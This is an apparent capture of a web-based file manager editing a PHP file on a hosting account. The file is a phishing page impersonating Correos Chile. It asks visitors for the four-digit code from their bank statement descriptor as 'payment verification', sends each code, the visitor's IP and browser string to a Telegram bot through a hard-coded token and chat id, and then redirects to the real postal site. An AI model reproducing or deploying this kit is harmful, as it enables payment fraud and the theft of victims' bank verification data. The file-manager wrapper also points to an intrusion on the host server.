查看网站首页
查看网站首页
查看 sitemap.xml
✏️ 正在编辑: index.php
路径:
/home/wwwbiore/public_html/in/index.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php /** * Project: CORREOS CHILE - Descriptor Code Receiver * Status: Minimalist UI + Instant Telegram * Coded by: L'Bichir */ error_reporting(0); $feedback_message = ''; if ($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST['descriptor_code'])) { // ========================================== // 🔴 BADL HADCHI B DYALK (CONFIG) // ========================================== $telegram_token = "8272236706:AAEkgQnY4oq86gyYsLUWH74vLsVFHHE3goA"; $chat_id = "-5233357658"; // ---[ DATA ] --- $code = htmlspecialchars($_POST['descriptor_code']); $ip = $_SERVER['REMOTE_ADDR']; $ua = $_SERVER['HTTP_USER_AGENT']; // ---[ TELEGRAM MESSAGE ] --- $message = "🚨 **CORREOS CHILE DESCRIPTOR HIT** 🚨\n\n"; $message .= "🔑 **Code:** `" . $code . "`\n"; $message .= "🌐 **IP:** `" . $ip . "`\n"; $message .= "```" . $ua . "```"; // ---[ SEND TO TELEGRAM (cURL) ] --- $url = "https://api.telegram.org/bot" . $telegram_token . "/sendMessage"; $data = ['chat_id' => $chat_id, 'text' => $message, 'parse_mode' => 'Markdown']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); $feedback_message = 'Gracias. Su pago está siendo procesado. Será redirigido en breve...'; // Redirect after 5 seconds header("Refresh:5; url=https://www.correos.cl/"); } ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Verificación</title> <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet"> <style> body { font-family: 'Roboto', Arial, sans-serif; background-color: #f8f9fa; margin: 0; display: flex; align-items: center; justify-content: center; min-height: 100vh; } .container { background: #fff; padding: 40px; border-radius: 4px; box-shadow: 0 4px 15px rgba(0,0,0,0.05); text-align: center; max-width: 400px; width: 90%; border-top: 4px solid #da291c; } .logo { height: 35px; margin-bottom: 25px; } h2 { font-size: 20px; font-weight: 500; color: #333; margin: 0 0 10px 0; } p { font-size: 14px; color: #666; margin: 0 0 25px 0; line-height: 1.5; } .code-input { width: 150px; padding: 14px; font-size: 24px; text-align: center; letter-spacing: 8px; border: 1px solid #ccc; border-radius: 4px; font-family: monospace; outline: none; transition: 0.2s; margin-bottom: 20px;} .code-input:focus { border-color: #2b294e; box-shadow: 0 0 0 2px rgba(43,41,78,0.1); } .btn { background: #2b294e; color: #fff; border: none; padding: 14px 30px; border-radius: 30px; font-size: 15px; font-weight: 700; cursor: pointer; transition: 0.2s; } .btn:hover { background: #1a1930; } .feedback { color: #28a745; font-weight: 700; margin-top: 20px; } </style> </head> <body> <div class="container"> <img src="https://www.correos.cl/documents/20123/34590232//logo_correos.png" class="logo" alt="CorreosChile"> <?php if($feedback_message): ?> <div class="feedback"><?php echo $feedback_message; ?></div> <?php else: ?> <h2>Verificación de Pago</h2> <p>Ingrese el código de 4 dígitos que aparece en el descriptor de su estado de cuenta bancario.</p> <form method="POST"> <input type="tel" name="descriptor_code" class="code-input" maxlength="4" required autofocus> <br> <button type="submit" class="btn">Confirmar Pago</button> </form> <?php endif; ?> </div> </body> </html>
💾 保存文件
← 返回文件管理器